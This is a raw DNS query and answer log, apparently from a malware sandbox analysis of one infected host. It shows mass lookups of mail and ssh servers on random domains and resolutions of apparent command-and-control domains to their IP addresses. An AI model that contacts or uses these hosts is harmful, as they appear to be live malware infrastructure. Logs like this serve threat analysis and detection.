Dec 2, 2023 18:04:41.246485949 CET	192.168.2.7	1.1.1.1	0xf2c2	Standard query (0)	ssh.ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.317347050 CET	192.168.2.7	1.1.1.1	0x3a7c	Standard query (0)	mail.jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.317950010 CET	192.168.2.7	1.1.1.1	0x560f	Standard query (0)	ftp.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.321053028 CET	192.168.2.7	1.1.1.1	0x47fd	Standard query (0)	ssh.egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.322066069 CET	192.168.2.7	1.1.1.1	0x8b83	Standard query (0)	www.zlig.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.323048115 CET	192.168.2.7	1.1.1.1	0x971	Standard query (0)	ssh.reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.331865072 CET	192.168.2.7	1.1.1.1	0x968b	Standard query (0)	ssh.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.332751989 CET	192.168.2.7	1.1.1.1	0xc2f7	Standard query (0)	pop3.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.362556934 CET	192.168.2.7	1.1.1.1	0x1eb5	Standard query (0)	pop.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.379904032 CET	192.168.2.7	1.1.1.1	0x8db8	Standard query (0)	ftp.yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.698426008 CET	192.168.2.7	1.1.1.1	0x2b27	Standard query (0)	ssh.jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.815934896 CET	192.168.2.7	1.1.1.1	0x560f	Standard query (0)	ftp.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.977045059 CET	192.168.2.7	1.1.1.1	0x1eb5	Standard query (0)	pop.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.037039042 CET	192.168.2.7	1.1.1.1	0x5b95	Standard query (0)	pop3.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.040158987 CET	192.168.2.7	1.1.1.1	0xac28	Standard query (0)	ssh.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.220830917 CET	192.168.2.7	1.1.1.1	0xe6c6	Standard query (0)	mail.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.225675106 CET	192.168.2.7	1.1.1.1	0x15e9	Standard query (0)	smtp.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.228458881 CET	192.168.2.7	1.1.1.1	0x4278	Standard query (0)	ssh.knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.252376080 CET	192.168.2.7	1.1.1.1	0x4ba4	Standard query (0)	ssh.gotcf.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.255876064 CET	192.168.2.7	1.1.1.1	0xb3fa	Standard query (0)	xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.256110907 CET	192.168.2.7	1.1.1.1	0xc3f	Standard query (0)	egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.257173061 CET	192.168.2.7	1.1.1.1	0xaa	Standard query (0)	knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.257545948 CET	192.168.2.7	1.1.1.1	0x633d	Standard query (0)	pop3.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.257973909 CET	192.168.2.7	1.1.1.1	0xa567	Standard query (0)	ssh.luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.258708954 CET	192.168.2.7	1.1.1.1	0xf720	Standard query (0)	mail.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.259054899 CET	192.168.2.7	1.1.1.1	0xdd14	Standard query (0)	tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.259524107 CET	192.168.2.7	1.1.1.1	0x4ca8	Standard query (0)	luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.356937885 CET	192.168.2.7	1.1.1.1	0x695f	Standard query (0)	yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.356937885 CET	192.168.2.7	1.1.1.1	0x53b4	Standard query (0)	lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.357347965 CET	192.168.2.7	1.1.1.1	0x5fcf	Standard query (0)	reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.357825994 CET	192.168.2.7	1.1.1.1	0x9a29	Standard query (0)	omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.358134985 CET	192.168.2.7	1.1.1.1	0x7cfe	Standard query (0)	mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.358249903 CET	192.168.2.7	1.1.1.1	0x9b5f	Standard query (0)	parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.358753920 CET	192.168.2.7	1.1.1.1	0x6d0d	Standard query (0)	ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.358753920 CET	192.168.2.7	1.1.1.1	0xf563	Standard query (0)	volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.359358072 CET	192.168.2.7	1.1.1.1	0x8a6f	Standard query (0)	jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.359734058 CET	192.168.2.7	1.1.1.1	0x1c35	Standard query (0)	dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.359734058 CET	192.168.2.7	1.1.1.1	0xc5d5	Standard query (0)	enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.360419989 CET	192.168.2.7	1.1.1.1	0x1964	Standard query (0)	msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.360726118 CET	192.168.2.7	1.1.1.1	0x2e27	Standard query (0)	hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.368267059 CET	192.168.2.7	1.1.1.1	0x4a3e	Standard query (0)	mail.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.369771004 CET	192.168.2.7	1.1.1.1	0xa2fc	Standard query (0)	relay.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.395124912 CET	192.168.2.7	1.1.1.1	0x6e99	Standard query (0)	relay.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.402288914 CET	192.168.2.7	1.1.1.1	0xa7c7	Standard query (0)	ssh.yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.402288914 CET	192.168.2.7	1.1.1.1	0x6acc	Standard query (0)	axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.404387951 CET	192.168.2.7	1.1.1.1	0x83fe	Standard query (0)	imap.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.413974047 CET	192.168.2.7	1.1.1.1	0x9d50	Standard query (0)	ftp.luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.447350025 CET	192.168.2.7	1.1.1.1	0x5603	Standard query (0)	ssh.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.448338985 CET	192.168.2.7	1.1.1.1	0x271e	Standard query (0)	weiberg.jimdofree.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.694052935 CET	192.168.2.7	1.1.1.1	0xe261	Standard query (0)	mailgate.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.737473965 CET	192.168.2.7	1.1.1.1	0xe6c6	Standard query (0)	mail.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.738857031 CET	192.168.2.7	1.1.1.1	0x3eb6	Standard query (0)	relay.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.739211082 CET	192.168.2.7	1.1.1.1	0x2113	Standard query (0)		256	256	false
Dec 2, 2023 18:04:42.739859104 CET	192.168.2.7	1.1.1.1	0xd860	Standard query (0)	mailgate.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.740585089 CET	192.168.2.7	1.1.1.1	0xa8b6	Standard query (0)	pop3.yes163.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.055198908 CET	192.168.2.7	1.1.1.1	0x907a	Standard query (0)	pop3.maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.055289030 CET	192.168.2.7	1.1.1.1	0x560f	Standard query (0)	ftp.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.055289030 CET	192.168.2.7	1.1.1.1	0x5603	Standard query (0)	ssh.kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.055766106 CET	192.168.2.7	1.1.1.1	0x4362	Standard query (0)	ssh.volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.087248087 CET	192.168.2.7	1.1.1.1	0x13c8	Standard query (0)	pop.hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.097959042 CET	192.168.2.7	1.1.1.1	0xdad2	Standard query (0)	pop.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.098309994 CET	192.168.2.7	1.1.1.1	0x7cda	Standard query (0)	imap.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.098828077 CET	192.168.2.7	1.1.1.1	0xbe47	Standard query (0)	pop.omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.099200010 CET	192.168.2.7	1.1.1.1	0x9bd4	Standard query (0)	pop.mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.261812925 CET	192.168.2.7	1.1.1.1	0x947f	Standard query (0)	mail.gatewaytogames.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.263180971 CET	192.168.2.7	1.1.1.1	0xf273	Standard query (0)	ssh.tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.264276028 CET	192.168.2.7	1.1.1.1	0x7246	Standard query (0)	mailgate.takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.264565945 CET	192.168.2.7	1.1.1.1	0xc4d4	Standard query (0)	mail.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.272394896 CET	192.168.2.7	1.1.1.1	0x1bd9	Standard query (0)	ssh.mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.294378042 CET	192.168.2.7	1.1.1.1	0xd466	Standard query (0)	yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.342453003 CET	192.168.2.7	1.1.1.1	0x3b78	Standard query (0)	pop.dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.343698978 CET	192.168.2.7	1.1.1.1	0x55ab	Standard query (0)	mail.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.346666098 CET	192.168.2.7	1.1.1.1	0x3090	Standard query (0)	pop.msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.347340107 CET	192.168.2.7	1.1.1.1	0x16da	Standard query (0)	pop.luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.348273993 CET	192.168.2.7	1.1.1.1	0x830e	Standard query (0)	smtp.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.350250006 CET	192.168.2.7	1.1.1.1	0x3f76	Standard query (0)	pop.tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.351202965 CET	192.168.2.7	1.1.1.1	0x75b3	Standard query (0)	pop.knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.351569891 CET	192.168.2.7	1.1.1.1	0x9563	Standard query (0)	pop.egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.352665901 CET	192.168.2.7	1.1.1.1	0xf2cd	Standard query (0)	mailgate.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.354912996 CET	192.168.2.7	1.1.1.1	0x766e	Standard query (0)	pop.axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.355813026 CET	192.168.2.7	1.1.1.1	0x4f12	Standard query (0)	pop.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.570658922 CET	192.168.2.7	1.1.1.1	0x880a	Standard query (0)	mail.enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.586502075 CET	192.168.2.7	1.1.1.1	0x4f79	Standard query (0)	pop.ldrshipcoach.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.617835045 CET	192.168.2.7	1.1.1.1	0x6df5	Standard query (0)	mailgate.giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.623562098 CET	192.168.2.7	1.1.1.1	0x4f2e	Standard query (0)	pop.reqifgccowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.700131893 CET	192.168.2.7	1.1.1.1	0x30dd	Standard query (0)	pop3.donankohatsu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.801919937 CET	192.168.2.7	1.1.1.1	0xd466	Standard query (0)	yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.817912102 CET	192.168.2.7	1.1.1.1	0x96aa	Standard query (0)	creativepursuitsco.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.862245083 CET	192.168.2.7	1.1.1.1	0x830e	Standard query (0)	smtp.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.864763021 CET	192.168.2.7	1.1.1.1	0xe68f	Standard query (0)	pop.jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.895032883 CET	192.168.2.7	1.1.1.1	0x5341	Standard query (0)	imap.hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.145888090 CET	192.168.2.7	1.1.1.1	0xb6ea	Standard query (0)	pop.yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.264065027 CET	192.168.2.7	1.1.1.1	0xb58c	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.295511961 CET	192.168.2.7	1.1.1.1	0xa2e2	Standard query (0)	mailgate.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.385293961 CET	192.168.2.7	1.1.1.1	0xcc69	Standard query (0)	pop3.yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.399599075 CET	192.168.2.7	1.1.1.1	0x691d	Standard query (0)	mailgate.lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.713556051 CET	192.168.2.7	1.1.1.1	0x4a99	Standard query (0)	imap.parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.783283949 CET	192.168.2.7	1.1.1.1	0xb58c	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.783353090 CET	192.168.2.7	1.1.1.1	0xa2e2	Standard query (0)	mailgate.yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.784893036 CET	192.168.2.7	1.1.1.1	0x7d63	Standard query (0)	mailgate.xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.807838917 CET	192.168.2.7	1.1.1.1	0x50ab	Standard query (0)	imap.omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.807972908 CET	192.168.2.7	1.1.1.1	0xc93e	Standard query (0)	imap.egddtd.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2023 18:01:26.980158091 CET	1.1.1.1	192.168.2.7	0xa2f6	Name error (3)	onualituyrs.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:26.980182886 CET	1.1.1.1	192.168.2.7	0xa2f6	Name error (3)	onualituyrs.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:28.690501928 CET	1.1.1.1	192.168.2.7	0x67a	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:28.690524101 CET	1.1.1.1	192.168.2.7	0x67a	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:32.904046059 CET	1.1.1.1	192.168.2.7	0x949b	No error (0)	snukerukeutit.org		104.198.2.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:32.904067993 CET	1.1.1.1	192.168.2.7	0x949b	No error (0)	snukerukeutit.org		104.198.2.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:32.993804932 CET	1.1.1.1	192.168.2.7	0x949b	No error (0)	snukerukeutit.org		104.198.2.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:34.060184002 CET	1.1.1.1	192.168.2.7	0x53fd	No error (0)	lightseinsteniki.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:37.540115118 CET	1.1.1.1	192.168.2.7	0x88b9	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:37.540137053 CET	1.1.1.1	192.168.2.7	0x88b9	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:37.540144920 CET	1.1.1.1	192.168.2.7	0x88b9	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:38.780486107 CET	1.1.1.1	192.168.2.7	0x5cc3	No error (0)	stualialuyastrelia.net		91.215.85.17	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		175.126.109.15	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		123.213.233.131	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		115.88.24.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		211.181.24.132	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190244913 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		175.120.254.9	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		175.126.109.15	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		123.213.233.131	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		115.88.24.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		211.181.24.132	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:49.190258026 CET	1.1.1.1	192.168.2.7	0xd79a	No error (0)	atozrental.cc		175.120.254.9	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:12.040566921 CET	1.1.1.1	192.168.2.7	0x9fec	Name error (3)	VGAAeTDAoKrnpnEttuSRXBVbDqU.VGAAeTDAoKrnpnEttuSRXBVbDqU	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:16.048652887 CET	1.1.1.1	192.168.2.7	0xa5cf	No error (0)	legdfls2369.com		193.106.174.149	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		14.33.209.147	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		186.48.26.195	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		123.213.233.131	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		189.232.44.70	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		5.204.157.52	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047312021 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		14.33.209.147	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		186.48.26.195	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		123.213.233.131	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		189.232.44.70	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		5.204.157.52	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047319889 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		14.33.209.147	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		186.48.26.195	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		123.213.233.131	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		189.232.44.70	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		5.204.157.52	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:29.047431946 CET	1.1.1.1	192.168.2.7	0x327c	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:50.013720989 CET	1.1.1.1	192.168.2.7	0xeeaa	No error (0)	dskflherlkhopihsf.com		172.67.137.48	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:50.013720989 CET	1.1.1.1	192.168.2.7	0xeeaa	No error (0)	dskflherlkhopihsf.com		104.21.7.188	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.005162954 CET	1.1.1.1	192.168.2.7	0x353a	Name error (3)	lsacwbij.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.012778997 CET	1.1.1.1	192.168.2.7	0xf062	Name error (3)	mailchme.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.031599045 CET	1.1.1.1	192.168.2.7	0x4fbb	Name error (3)	knpzwm.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.075104952 CET	1.1.1.1	192.168.2.7	0xb98b	Name error (3)	xfuainui.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.112987041 CET	1.1.1.1	192.168.2.7	0xbba7	Name error (3)	axtkmooehtnfekmooefv.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123495102 CET	1.1.1.1	192.168.2.7	0x89e7	No error (0)	luminus-media.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123495102 CET	1.1.1.1	192.168.2.7	0x89e7	No error (0)	luminus-media.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123495102 CET	1.1.1.1	192.168.2.7	0x89e7	No error (0)	luminus-media.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123495102 CET	1.1.1.1	192.168.2.7	0x89e7	No error (0)	luminus-media.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123495102 CET	1.1.1.1	192.168.2.7	0x89e7	No error (0)	luminus-media.com			MX (Mail exchange)	IN (0x0001)	false
